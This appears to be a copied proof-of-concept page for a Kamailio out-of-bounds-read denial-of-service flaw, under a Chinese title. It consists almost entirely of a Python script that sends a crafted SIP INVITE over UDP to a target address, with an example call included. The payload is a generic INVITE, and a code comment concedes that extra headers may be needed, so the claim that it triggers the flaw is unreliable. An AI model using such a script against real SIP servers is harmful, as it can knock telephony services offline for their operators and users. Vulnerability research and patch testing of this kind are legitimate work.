CVE-2026-39864 Kamailio越界读取致DoS漏洞

import socket # Proof of Concept for CVE-2026-39864 # This script sends a crafted SIP packet to trigger the out-of-bounds read. # Target: Kamailio < 6.0.5 def send_exploit(target_ip, target_port): # Crafted SIP packet payload designed to trigger the vulnerability # during post-authentication identity checks. payload = ( "INVITE sip:test@" + target_ip + " SIP/2.0\r\n" "Via: SIP/2.0/UDP attacker.com:5060;branch=z9hG4bKnashds7\r\n" "Max-Forwards: 70\r\n" "To: <sip:test@" + target_ip + ">\r\n" "From: <sip:[email protected]>;tag=1928301774\r\n" "Call-ID: [email protected]\r\n" "CSeq: 314159 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: application/sdp\r\n" "Content-Length: 0\r\n" "\r\n" ) # Note: In a real scenario, specific headers or body content might be # required to trigger the specific identity check path. try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload.encode(), (target_ip, target_port)) print("[+] Payload sent.") s.close() except Exception as e: print(f"[-] Error: {e}") # Example usage # send_exploit("192.168.1.10", 5060)